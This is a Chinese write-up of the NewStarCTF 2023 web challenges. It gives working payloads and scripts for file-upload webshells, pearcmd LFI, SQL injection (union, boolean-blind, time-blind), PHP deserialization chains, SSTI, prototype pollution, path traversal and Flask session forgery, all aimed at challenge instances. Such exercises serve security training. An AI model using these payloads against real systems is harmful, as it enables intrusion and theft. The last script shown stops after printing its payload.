0


[NewStarCTF 2023] web题解

文章目录


WEEK1

泄漏的秘密

打开题目,提示有敏感信息泄露
在这里插入图片描述直接扫一下目录,发现有

./www.zip

在这里插入图片描述
访问然后下载下来,解压到桌面
在这里插入图片描述

源码和robots.txt分别是两部分flag

Begin of Upload

右键看下源码,发现对上传文件后缀名有检测
这里的检测是后缀名只需要出现合法的就行
在这里插入图片描述我们上传1.jpg的一句话木马
然后抓包修改文件名为

1.jpg.php

在这里插入图片描述上传成功,然后命令执行得到flag
在这里插入图片描述

Begin of HTTP

打开题目,按照要求一步步来
先是GET传参,随便给个值
然后是POST传参,参数值藏在源码处
在这里插入图片描述然后分别是修改cookie为ctfer;修改浏览器为NewStarCTF2023;修改Referer为newstarctf.com
在这里插入图片描述
最后一步只能bp抓包修改为127.0.0.1
(这里用XFF不行,我用的是X-Real-IP)
在这里插入图片描述

ErrorFlask

打开题目,提示我们传参两个数,然后帮我们计算
在这里插入图片描述我们随便传两个数
告诉我们不是ssti,后面还有计算结果
在这里插入图片描述提示flag在源码
我们修改一下其中一个为字母,让其出现报错
果然出现了

/app/app.py

源码,得到flag
在这里插入图片描述

Begin of PHP

源码

 <?php
error_reporting(0);
highlight_file(__FILE__);

if(isset($_GET['key1']) && isset($_GET['key2'])){
    echo "=Level 1=<br>";
    if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
        $flag1 = True;
    }else{
        die("nope,this is level 1");
    }
}

if($flag1){
    echo "=Level 2=<br>";
    if(isset($_POST['key3'])){
        if(md5($_POST['key3']) === sha1($_POST['key3'])){
            $flag2 = True;
        }
    }else{
        die("nope,this is level 2");
    }
}

if($flag2){
    echo "=Level 3=<br>";
    if(isset($_GET['key4'])){
        if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
            $flag3 = True;
        }else{
            die("nope,this is level 3");
        }
    }
}

if($flag3){
    echo "=Level 4=<br>";
    if(isset($_GET['key5'])){
        if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
            $flag4 = True;
        }else{
            die("nope,this is level 4");
        }
    }
}

if($flag4){
    echo "=Level 5=<br>";
    extract($_POST);
    foreach($_POST as $var){
        if(preg_match("/[a-zA-Z0-9]/",$var)){
            die("nope,this is level 5");
        }
    }
    if($flag5){
        echo file_get_contents("/flag");
    }else{
        die("nope,this is level 5");
    }
} 

分析一下

  1. level 1利用弱比较md5值相等
  2. level 2利用MD5和sha1函数无法处理数组,进行数组绕过
  3. level 3同样利用数组绕过
  4. level 4利用php弱类型比较
  5. level 5则是利用key3数组绕过正则匹配;利用extract()函数的变量覆盖漏洞,传入非空字符即可

得到flag
在这里插入图片描述

R!C!E!

源码

 <?php
highlight_file(__FILE__);
if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
    $password=md5($_POST['password']);
    $code=$_POST['e_v.a.l'];
    if(substr($password,0,6)==="c4d038"){
        if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
            eval($code);
        }
    }
} 

分析一下,第一个if语句判断条件为上传的password参数的MD5值前六位为c4d038;第二个if语句是PHP变量名解析特性和简单的命令执行过滤
首先利用脚本爆破出该数

import hashlib

prefix = "c4d038"  # 目标MD5值的前六位
prefix_bytes = prefix.encode()  # 将前缀转换为字节串

for i in range(100000000):
    b = i.to_bytes(22, 'big')
    m = hashlib.md5(str(i).encode()).hexdigest()
    
    if m.startswith(prefix):
        print(i)
        print(m)
        break

爆出来为114514
然后是利用php的解析特性,

[

会被解析成下划线

_

;和反引号去绕过对system函数的过滤,反斜杠绕过flag,tac替换cat命令
payload

password=114514&e[v.a.l=echo `tac /fla\g`;

得到flag
在这里插入图片描述

EasyLogin

打开题目发现是登录框,尝试注册admin
发现用户已存在
我们随便注册一个用户为hacker,密码为123456
登录并抓包,发现密码是MD5加密的
在这里插入图片描述然后放行,发现中途跳转一个php界面
我们丢到重放器,发现是页面302状态,并且出现了提示
在这里插入图片描述
我这里因为版本问题,我保存下来用vscode打开
在这里插入图片描述按照提示,果然没有第七行(成功被骗)
结合前面解题思路,老老实实爆破密码

打开bp,payload处理修改一下
爆出对应的MD5值,丢到在线网站得到密码为000000
在这里插入图片描述

然后就是登录进入终端
ctrl+c然后ctrl+d退出执行的程序chat
在这里插入图片描述
没什么发现,我们刚刚在登陆抓包已经知道中途会跳转
同样试试
结果成功抓到这个重定向的php页面
在这里插入图片描述得到flag
在这里插入图片描述

WEEK2

游戏高手

打开题目,发现是小游戏(题目跟最近打的SHCTF比较像)
查看下js代码
在这里插入图片描述发现获得胜利的条件是分数大于100000
我们在控制台输入下面语句

var gameScore = 10000000;
gameover(); 

回车然后得到flag
在这里插入图片描述

include 0。0

源码

 <?php
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(isset($file) && !preg_match('/base|rot/i',$file)){
    @include($file);
}else{
    die("nope");
}
?> 

简单的文件包含,这里过滤了常见的转换过滤器base和rot
我们可以用

convert.iconv.UTF-8.UTF-16

payload

?file=php://filter/read=convert.iconv.UTF-8.UTF-16/resource=flag.php

得到flag

在这里插入图片描述

ez_sql

进来随便点一个,发现有参数id
我们先fuzz测试一下过滤了什么
抓包,随便用一个字典
在这里插入图片描述
发现select被过滤了,那么我们用大小写绕过

首先爆一下字段数

?id=-1' union SelECt 1,2,3,4,5 --+

发现字段数为5
爆库名

?id=-1' union SelECt database(),2,3,4,5 --+

在这里插入图片描述

然后经过再次测试,发现

information_schema.tables

where

都被过滤了
这里用

mysql.innodb_table_stats

wHere

代替
(多次尝试,发现回显的位置在5而不是1,开始卡了很久没回显)
爆表名

?id=-1' union SelECt 1,2,3,4,group_concat(table_name) from mysql.innodb_table_stats wHere '1 --+

在这里插入图片描述

因为我们用的是

mysql.innodb_table_stats

,我们无法查到列名
所以继续用无列名注入

?id=-1' union SelECt 1,2,3,4,group_concat(`1`) from (SelECt 1 union SelECt * from ctf.here_is_flag)a wHere '1 --+

得到flag
在这里插入图片描述

Unserialize?

源码

 <?php
highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil {
    private $cmd;

    public function __destruct()
    {
        if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
            @system($this->cmd);
        }
    }
}

@unserialize($_POST['unser']);
?> 

由于是private成员变量,所以序列化后长度会加2,多两个空白符
exp

<?php
class evil {
    private $cmd;
    function __construct($cmd1){
        $this->cmd=$cmd1;
    }
}

$a=new evil('ls /');
echo serialize($a);
?> 

手动添加%00
在这里插入图片描述得到flag
在这里插入图片描述

Upload again!

打开题目
在这里插入图片描述先上传最普通的马

1.php

,发现被检测了
在这里插入图片描述

我们尝试修改下后缀为

.jpg

,发现还是不行

在这里插入图片描述

在后面尝试修改MIME以及文件头,都不能绕过
猜测是对一句话木马的

<?

过滤,那么我们修改为js马

<script language="php">eval($_POST['shell']);</script>

发现可以上传,不过没有被解析成php

在这里插入图片描述
那么我们可以用

.htaccess

配置文件攻击,让jpg文件被解析成php
首先创建

.htaccess文件

,写入

<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

上传成功后,上传名为

1.jpg

的js马

在这里插入图片描述命令执行一下
在这里插入图片描述得到flag
在这里插入图片描述

R!!C!!E!!

打开题目,提示有信息泄露
在这里插入图片描述
这里我是dirsearch扫了一下目录(扫了很久)
扫完后翻翻发现有git泄露
在这里插入图片描述直接用工具
先运行工具,然后访问

./.git/

在这里插入图片描述源码如下

<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
    if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
        eval($_GET['star']);
    }
}

一眼无参RCE,然后过滤了很多函数
这里我们用的是

getallheaders()函数

我们先看看http头部信息

?star=print_r(getallheaders());

在这里插入图片描述然后我们选择添加命令在User-Agent那里
payload

?star=eval(next(getallheaders()));

得到flag
在这里插入图片描述

WEEK3

Include 🍐

源码

 <?php
    error_reporting(0);
    if(isset($_GET['file'])) {
        $file = $_GET['file'];
        
        if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
            die('hacker!');
        }
        
        include($file.".php");
        # Something in phpinfo.php!
    }
    else {
        highlight_file(__FILE__);
    }
?> 

分析一下,有文件包含漏洞,将变量和

.php

拼接,但是过滤了几个重要的伪协议。按照它的提示到

./phpinfo.php

看看,发现有假flag,不过给了hint让我们看看register_argc_argv(不了解的可以百度)。我们再在

./phpinfo.php

搜一下,发现选项是on
在这里插入图片描述那么存在漏洞,具体方法为利用pearcmd.php本地文件包含

首先要知道在pearcmd.php中

&

符无发分割参数,真正能分割参数的是

+

;然后就是利用的命令为config-create,其包括两个参数,一个是绝对路径,还有保存配置文件的文件名;并且第一个参数会被写进到文件里,我们借此实现命令执行
payload

?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST['cmd']);?>+shell.php

注:由于源码会拼接

.php

,所以为pearcmd
在这里插入图片描述

bp抓包发送
然后访问

./shell.php

在这里插入图片描述得到flag
在这里插入图片描述

medium_sql

可以先bp抓包,fuzz测试一下
在这里插入图片描述

过滤的可以用大小写绕过,然后提示了不能联合查询
在这里插入图片描述我们尝试布尔盲注

?id=TMP0919' And if(1>0,1,0)%23

注:#为url编码过的
在这里插入图片描述
然后修改一下

?id=TMP0919' And if(1<0,1,0)%23

在这里插入图片描述
可以发现当正确时有回显,错误时无回显,可以用布尔盲注
脚本如下(菜鸡本人写的)

import requests
import string

host = "http://fad66500-0807-4ead-8cad-dbbe48fd82cc.node4.buuoj.cn:81/?id=TMP0919"

def DBname():  
    global host
    flag=''
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low+high)//2
        while low < high:
            #--库名
            payload = "' And if(Ascii(Substr(database(),{i},1))>{mid},1,0)%23".format(i=i, mid=mid)
            res = requests.get(host + payload)

            if 'Physics' in res.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32 or mid == 127:
            break

        flag += chr(mid)
        i += 1
    print("数据库名为:"+flag)

def TBname():  
    global host
    flag=''
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low+high)//2
        while low < high:
            #--表名
            payload = "' And if(Ascii(Substr((Select Group_concat(table_name) From infOrmation_schema.tables Where Table_schema='ctf'),{i},1))>{mid},1,0)%23".format(i=i, mid=mid)
            res = requests.get(host + payload)

            if 'Physics' in res.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32 or mid == 127:
            break

        flag += chr(mid)
        i += 1
    print("数据表名为:"+flag)

def CLname():  
    global host
    flag=''
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low+high)//2
        while low < high:
            #--列名
            payload = "' And if(Ascii(Substr((Select Group_concat(column_name) From infOrmation_schema.columns Where Table_name='here_is_flag'),{i},1))>{mid},1,0)%23".format(i=i, mid=mid)
            res = requests.get(host + payload)

            if 'Physics' in res.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32 or mid == 127:
            break

        flag += chr(mid)
        i += 1
    print("数据列名为:"+flag)

def Valname():  
    global host
    flag=''
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low+high)//2
        while low < high:
            #--报数据
            payload = "' And if(Ascii(Substr((Select Group_concat(flag) From here_is_flag),{i},1))>{mid},1,0)%23".format(i=i, mid=mid)
            res = requests.get(host + payload)

            if 'Physics' in res.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32 or mid == 127:
            break

        flag += chr(mid)
        i += 1
    print("数据为:"+flag)

DBname()
TBname()
CLname()
Valname()

运行脚本得到flag
在这里插入图片描述

POP Gadget

源码

 <?php
highlight_file(__FILE__);

class Begin{
    public $name;

    public function __destruct()
    {
        if(preg_match("/[a-zA-Z0-9]/",$this->name)){
            echo "Hello";
        }else{
            echo "Welcome to NewStarCTF 2023!";
        }
    }
}

class Then{
    private $func;

    public function __toString()
    {
        ($this->func)();
        return "Good Job!";
    }

}

class Handle{
    protected $obj;

    public function __call($func, $vars)
    {
        $this->obj->end();
    }

}

class Super{
    protected $obj;
    public function __invoke()
    {
        $this->obj->getStr();
    }

    public function end()
    {
        die("==GAME OVER==");
    }
}

class CTF{
    public $handle;

    public function end()
    {
        unset($this->handle->log);
    }

}

class WhiteGod{
    public $func;
    public $var;

    public function __unset($var)
    {
        ($this->func)($this->var);    
    }
}

@unserialize($_POST['pop']); 

pop链子

Begin::__destruct -> Then::toString -> Super::__invoke -> Handle::__call -> CTF::end -> WhiteGod::__unset

由于链子调用中成员属性有private和protected
我们用construct方法去调用链子,最后再使用url编码绕过
exp

<?php
class Begin{    
    public $name;    
    public function __construct($a)    
    {        
        $this->name = $a;    
    }
}
class Then{    
    private $func;    
    public function __construct($a)    
    {        
        $this->func= $a;    
    }
}
class Handle{    
    protected $obj;    
    public function __construct($a)    
    {        
        $this->obj = $a;    
    }
}
class Super{    
    protected $obj;    
    public function __construct($a)    
    {        
        $this->obj = $a;    
    }
}
class CTF{    
    public $handle;    
    public function __construct($a)    
    {        
        $this->handle = $a;    
    }
}
class WhiteGod{    
    public $func;    
    public $var;    
    public function __construct($a, $b)    
    {        
        $this->func = $a;        
        $this->var = $b;    
    }
}
$a = new Begin(new Then(new Super(new Handle(new CTF(new WhiteGod("readfile","/flag"))))));
echo urlencode(serialize($a));

得到flag
在这里插入图片描述

GenShin

考点:ssti

在响应头找到hint
在这里插入图片描述
访问,fuzz测试一下
发现过滤了

{{}},',request,init,lipsum,popen

那么我们使用

{%print()%}

绕过

{{}}

,enter代替init,至于popen则可以字符串拼接(虽然整个payload都直接可以拼接)

我们查找下能利用的
在这里插入图片描述
查找

<class 'os._wrap_close'>

,在第132个
在这里插入图片描述payload

{%print("".__class__.__bases__[0].__subclasses__()[132].__enter__.__globals__["pop"+"en"]("cat /flag").read())%}

得到flag
在这里插入图片描述

OtenkiGirl

考点:js原型链污染

题目给了源码,我们先看app.js

const env = global.env = (process.env.NODE_ENV || "production").trim();
const isEnvDev = global.isEnvDev = env === "development";
const devOnly = (fn) => isEnvDev ? (typeof fn === "function" ? fn() : fn) : undefined
const CONFIG = require("./config"), DEFAULT_CONFIG = require("./config.default");
const PORT = CONFIG.server_port || DEFAULT_CONFIG.server_port;

const path = require("path");
const Koa = require("koa");
const bodyParser = require("koa-bodyparser");

const app = new Koa();

app.use(require('koa-static')(path.join(__dirname, './static')));
devOnly(_ => require("./webpack.proxies.dev").forEach(p => app.use(p)));
app.use(bodyParser({
    onerror: function (err, ctx) {
        // If the json is invalid, the body will be set to {}. That means, the request json would be seen as empty.
        if (err.status === 400 && err.name === 'SyntaxError' && ctx.request.type === 'application/json') {
            ctx.request.body = {}
        } else {
            throw err;
        }
    }
}));

[
    "info",
    "submit"
].forEach(p => { p = require("./routes/" + p); app.use(p.routes()).use(p.allowedMethods()) });

app.listen(PORT, () => {
    console.info(`Server is running at port ${PORT}...`);
})

module.exports = app;

简单分析一下,就是给了两个路由,分别是

./info

./submit

然后我们跟踪到route的info.js

const Router = require("koa-router");
const router = new Router();
const SQL = require("./sql");
const sql = new SQL("wishes");
const CONFIG = require("../config")
const DEFAULT_CONFIG = require("../config.default")

async function getInfo(timestamp) {
    timestamp = typeof timestamp === "number" ? timestamp : Date.now();
    // Remove test data from before the movie was released
    let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();
    timestamp = Math.max(timestamp, minTimestamp);
    const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });
    return data;
}

router.post("/info/:ts?", async (ctx) => {
    if (ctx.header["content-type"] !== "application/x-www-form-urlencoded")
        return ctx.body = {
            status: "error",
            msg: "Content-Type must be application/x-www-form-urlencoded"
        }
    if (typeof ctx.params.ts === "undefined") ctx.params.ts = 0
    const timestamp = /^[0-9]+$/.test(ctx.params.ts || "") ? Number(ctx.params.ts) : ctx.params.ts;
    if (typeof timestamp !== "number")
        return ctx.body = {
            status: "error",
            msg: "Invalid parameter ts"
        }

    try {
        const data = await getInfo(timestamp).catch(e => { throw e });
        ctx.body = {
            status: "success",
            data: data
        }
    } catch (e) {
        console.error(e);
        return ctx.body = {
            status: "error",
            msg: "Internal Server Error"
        }
    }
})

module.exports = router;

代码很长,但是主要部分就是getInfo函数

let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();

这行代码初始化一个minTimestamp变量。它从配置对象CONFIG中获取min_public_time属性的值,如果不存在则使用默认配置对象DEFAULT_CONFIG中的min_public_time属性的值。然后,通过new Date()构造函数将该时间转换为一个日期对象,并使用getTime()方法获取其对应的时间戳。

而当我们跟踪到config.js时发现并没有配置该属性,所以属性的值为config.default.js中的

module.exports = {
    app_name: "OtenkiGirl",
    default_lang: "ja",
}
module.exports = {
    app_name: "OtenkiGirl",
    default_lang: "ja",
    min_public_time: "2019-07-09",
    server_port: 9960,
    webpack_dev_port: 9970
}

那么我们知道getInfo对timestamp进行了一次过滤,使得所返回的数据不早于配置文件config中的min_public_time,猜测flag在这个min_public_time之前

所以我们可以利用原型链污染使得该值在2019-07-09之前即可
我们知道上传的为json格式
在这里插入图片描述payload

{  
    "contact": "test",  
    "reason": "test",  
    "__proto__": {    
        "min_public_time": "1001-01-01"  
    }
}

污染成功
在这里插入图片描述再次访问,得到flag
(如果不成功。清除下网站cookie再刷新)
在这里插入图片描述

WEEK4

考点:字符串逃逸

源码

<?php
highlight_file(__FILE__);
function waf($str){
    return str_replace("bad","good",$str);
}

class GetFlag {
    public $key;
    public $cmd = "whoami";
    public function __construct($key)
    {
        $this->key = $key;
    }
    public function __destruct()
    {
        system($this->cmd);
    }
}

unserialize(waf(serialize(new GetFlag($_GET['key']))));

分析一下,首先命令执行对应的参数为cmd,而实例化时可控的对象为key值,题目进行反序列化的时候我们只能通过get传参去控制key,结合waf函数可以字符替换,考虑用字符串逃逸

我们本地测试下,如果传入key值为a

<?php
class GetFlag {
    public $key='a';
    public $cmd = "whoami";

}
$a=new GetFlag();
echo serialize($a);

那么序列化后的结果为

O:7:"GetFlag":2:{s:3:"key";s:1:"a";s:3:"cmd";s:6:"whoami";}

由于cmd的值不可控,我们尝试把cmd的值写到key里面,也就是将字符串

";s:3:"cmd";s:10:"cat /flag";}

写进去

字符串就变成如下

O:7:"GetFlag":2:{s:3:"key";s:1:"a";s:3:"cmd";s:9:"cat /flag";}";s:3:"cmd";s:6:"whoami";}

然后我们计算一下后面被挤掉的部分字符串

a";s:3:"cmd";s:6:"whoami";}

,长度为26,那么我们就需要26个bad被good替换的字符长度差1,再加上

whoami

变成

cat /flag

的长度差3,总共需要29个bad

所以最终构造的payload如下

O:7:"GetFlag":2:{s:3:"key";s:117:""badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}";s:3:"cmd";s:6:"whoami";}

也就是说上传key为

"badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}

得到flag
在这里插入图片描述

More Fast

考点:GC回收机制提前触发__destruct()

源码

<?php
highlight_file(__FILE__);

class Start{
    public $errMsg;
    public function __destruct() {
        die($this->errMsg);
    }
}

class Pwn{
    public $obj;
    public function __invoke(){
        $this->obj->evil();
    }
    public function evil() {
        phpinfo();
    }
}

class Reverse{
    public $func;
    public function __get($var) {
        ($this->func)();
    }
}

class Web{
    public $func;
    public $var;
    public function evil() {
        if(!preg_match("/flag/i",$this->var)){
            ($this->func)($this->var);
        }else{
            echo "Not Flag";
        }
    }
}

class Crypto{
    public $obj;
    public function __toString() {
        $wel = $this->obj->good;
        return "NewStar";
    }
}

class Misc{
    public function evil() {
        echo "good job but nothing";
    }
}

$a = @unserialize($_POST['fast']);
throw new Exception("Nope");

pop链

Start.__destruct() --> Crypto.__toString() --> Reverse.__get() --> Pwn.__invoke() --> Web.evil() 

整个链子逻辑很清晰,关键考点就是开头的这一步,由于题目会抛出异常,导致__destruct()方法不能触发,所以我们要进行绕过,下面对绕过方法解释下

GC回收机制

在PHP中,使用

引用计数

回收周期

来自动管理内存对象的,当一个变量被设置为

NULL

,或者没有任何指针指向时,它就会被变成垃圾,被

GC

机制自动回收掉那么这里的话我们就可以理解为,当一个对象没有被引用时,就会被

GC

机制回收,在回收的过程中,它会自动触发

_destruct

方法,而这也就是我们绕过抛出异常的关键点。

也就是在最后序列化前进行

$A=array($a,NULL);

这样的步骤
exp如下

<?php
class Start{
    public $errMsg;
}

class Pwn{
    public $obj;
}

class Reverse{
    public $func;
}

class Web{
    public $func;
    public $var;
}

class Crypto{
    public $obj;
}

class Misc{

}

$a=new Start();
$b=new Crypto();
$c=new Reverse();
$d=new Pwn();
$e=new Web();
$a->errMsg=$b;
$b->obj=$c;
$c->func=$d;
$d->obj=$e;
$e->func='system';
$e->var="cat /f*";
$A=array($a,NULL);
echo serialize($A);

运行结果

a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}i:1;N;}

将最后的

i:1

改为

i"0

即可,得到flag
在这里插入图片描述

midsql

考点:时间盲注

fuzz测试一下,发现只过滤了空格,用/**/替换
然后测试,发现可以时间盲注

?id=1/**/and/**/(1,sleep(5),3)#

脚本如下

import requests
import time

chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz,}{-'
database = ''
table = ''
column = ''
flag = ''

global DB_length
global TB_length
global CL_length

#爆数据库
for l in range(1,20):
    Url = 'http://aa747dea-4776-4d4f-9c3f-6846c5f580aa.node4.buuoj.cn:81/?id=1/**/and/**/if(length(database())>{0},1,sleep(3))#'
    UrlFormat = Url.format(l)      #format()函数使用
    start_time0 = time.time()          #发送请求前的时间赋值
    requests.get(UrlFormat)
    if  time.time() - start_time0 > 2:    #判断正确的数据库长度
            print('database长度为:' + str(l))
            global DB_length 
            DB_length = l    #把数据库长度赋值给全局变量
            break
    else:
        pass
for i in range(1,DB_length+1):
    for char in chars:
        charAscii = ord(char) #char转换为ascii
        url = 'http://aa747dea-4776-4d4f-9c3f-6846c5f580aa.node4.buuoj.cn:81/?id=1/**/and/**/if(ascii(substr(database(),{0},1))>{1},1,sleep(3))#'
        urlformat = url.format(i,charAscii)
        start_time = time.time()
        requests.get(urlformat)
        if  time.time() - start_time > 2:
            database+=char
            print('database第{}个字符:{}'.format(i, database))
            break
        else:
            pass
print('database: ' + database)

#爆表
for l in range(1,20):
    Url = "http://aa747dea-4776-4d4f-9c3f-6846c5f580aa.node4.buuoj.cn:81/?id=1/**/and/**/if(length((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like('ctf')))>{0},1,sleep(3))#"
    UrlFormat = Url.format(l)      
    start_time0 = time.time()          
    requests.get(UrlFormat)
    if  time.time() - start_time0 > 2:    
            print('table长度为:' + str(l))
            global TB_length 
            TB_length = l    
            break
    else:
        pass
for i in range(1,TB_length+1):
    for char in chars:
        charAscii = ord(char) #char转换为ascii
        url = "http://aa747dea-4776-4d4f-9c3f-6846c5f580aa.node4.buuoj.cn:81/?id=1/**/and/**/if(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like('ctf')),{0},1))>{1},1,sleep(3))#"
        urlformat = url.format(i,charAscii)
        start_time = time.time()
        requests.get(urlformat)
        if  time.time() - start_time > 2:
            table+=char
            print('table第{}个字符:{}'.format(i, table))
            break
        else:
            pass
print('table: ' + table)

#爆列
for l in range(1,20):
    Url = "http://aa747dea-4776-4d4f-9c3f-6846c5f580aa.node4.buuoj.cn:81/?id=1/**/and/**/if(length((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like('items')))>{0},1,sleep(3))#"
    UrlFormat = Url.format(l)      
    start_time0 = time.time()          
    requests.get(UrlFormat)
    if  time.time() - start_time0 > 2:    
            print('column长度为:' + str(l))
            global CL_length 
            CL_length = l    
            break
    else:
        pass
for i in range(1,CL_length+1):
    for char in chars:
        charAscii = ord(char) #char转换为ascii
        url = "http://aa747dea-4776-4d4f-9c3f-6846c5f580aa.node4.buuoj.cn:81/?id=1/**/and/**/if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like('items')),{0},1))>{1},1,sleep(3))#"
        urlformat = url.format(i,charAscii)
        start_time = time.time()
        requests.get(urlformat)
        if  time.time() - start_time > 2:
            column+=char
            print('column第{}个字符:{}'.format(i, column))
            break
        else:
            pass
print('column: ' + column)

#爆数据
for i in range(1,80):
    for char in chars:
        charAscii = ord(char) #char转换为ascii
        url = "http://aa747dea-4776-4d4f-9c3f-6846c5f580aa.node4.buuoj.cn:81/?id=1/**/and/**/if(ascii(substr((select/**/group_concat(id,name,price)/**/from/**/items),{0},1))>{1},1,sleep(3))#"
        urlformat = url.format(i,charAscii)
        start_time = time.time()
        requests.get(urlformat)
        if  time.time() - start_time > 2:
            flag+=char
            print('flag第{}个字符:{}'.format(i, flag))
            break
        else:
            pass
print('flag: ' + flag)

flask disk

打开题目,有三个链接
在这里插入图片描述分别是查看文件,上传文件,输入pin码进入

admin manage

访问admin manage发现要输入pin码,说明flask开启了debug模式。flask开启了debug模式下,app.py源文件被修改后会立刻加载。所以只需要上传一个能rce的app.py文件把原来的覆盖,就可以了。
(注:语法不能出错)

from flask import Flask,request
import os
app = Flask(__name__)
@app.route('/')
def index():    
    try:        
        cmd = request.args.get('cmd')        
        data = os.popen(cmd).read()        
        return data    
    except:        
        pass    
        
    return "1"
if __name__=='__main__':    
    app.run(host='0.0.0.0',port=5000,debug=True)

上传成功后,直接在跟路由命令执行
在这里插入图片描述

InjectMe

考点:session伪造,ssti

下载附件,发现是泄露了目录

./app

在这里插入图片描述打开题目,给了download的部分源码
在这里插入图片描述分析一下,

./download

路由下,接受GET参数file,如果没有则filename为空值,然后是过滤了

../

,由于这里是替换为空,可以绕过。然后拼接路径,如果存在则返回

结合Dockerfile泄露的目录,可以猜到运行文件,直接目录穿越读取源码

/download?file=..././..././..././app/app.py

源码如下

import os
import re

from flask import Flask, render_template, request, abort, send_file, session, render_template_string
from config import secret_key

app = Flask(__name__)
app.secret_key = secret_key

@app.route('/')
def hello_world():  # put application's code here
    return render_template('index.html')

@app.route("/cancanneed", methods=["GET"])
def cancanneed():
    all_filename = os.listdir('./static/img/')
    filename = request.args.get('file', '')
    if filename:
        return render_template('img.html', filename=filename, all_filename=all_filename)
    else:
        return f"{str(os.listdir('./static/img/'))} <br> <a href=\"/cancanneed?file=1.jpg\">/cancanneed?file=1.jpg</a>"

@app.route("/download", methods=["GET"])
def download():
    filename = request.args.get('file', '')
    if filename:
        filename = filename.replace('../', '')
        filename = os.path.join('static/img/', filename)
        print(filename)
        if (os.path.exists(filename)) and ("start" not in filename):
            return send_file(filename)
        else:
            abort(500)
    else:
        abort(404)

@app.route('/backdoor', methods=["GET"])
def backdoor():
    try:
        print(session.get("user"))
        if session.get("user") is None:
            session['user'] = "guest"
        name = session.get("user")
        if re.findall(
                r'__|{{|class|base|init|mro|subclasses|builtins|globals|flag|os|system|popen|eval|:|\+|request|cat|tac|base64|nl|hex|\\u|\\x|\.',
                name):
            abort(500)
        else:
            return render_template_string(
                '竟然给<h1>%s</h1>你找到了我的后门,你一定是网络安全大赛冠军吧!😝 <br> 那么 现在轮到你了!<br> 最后祝您玩得愉快!😁' % name)
    except Exception:
        abort(500)

@app.errorhandler(404)
def page_not_find(e):
    return render_template('404.html'), 404

@app.errorhandler(500)
def internal_server_error(e):
    return render_template('500.html'), 500

if __name__ == '__main__':
    app.run('0.0.0.0', port=8080)

分析一下
存在

./backdoor

路由,获取session中user的值,如果没有赋值为guest,有的话进行正则匹配(此处存在ssti漏洞)
根据源码,secret_key在config.py里,我们可以访问下载得到key

获取key

/download?file=..././..././..././app/config.py

在这里插入图片描述然后解密
在这里插入图片描述
由于过滤了很多,这里用八进制编码绕过
脚本如下

import re
import requests
import subprocess
# 把这个下载了,需要使用里面的flask-session-cookie-manager3.py
# # https://github.com/noraj/flask-session-cookie-manager

def string_to_octal_ascii(s):
    octal_ascii = ""
    for char in s:
        char_code = ord(char)
        octal_ascii += "\\\\" + format(char_code, '03o')
        # octal_ascii += "\\\\" + format(char_code, 'o')    
    return octal_ascii
secret_key = "y0u_n3ver_k0nw_s3cret_key_1s_newst4r"
# payload = "{%print(7*7)%}"
# payload = "{%print(\"\"\\\\u005f\\\\u005f\"\")%}"
# payload = "{%print(\"\"\\\\x5f\\\\x5f\"\")%}"

eval_shell = "\"\""+string_to_octal_ascii("__import__(\"os\").popen(\"cat /*\").read()")+"\"\""
print(eval_shell)
# docker部署&windows运行payload
# {{x.__init__.__globals__.__builtins__.eval('__import__("os").popen("dir").read()')}}
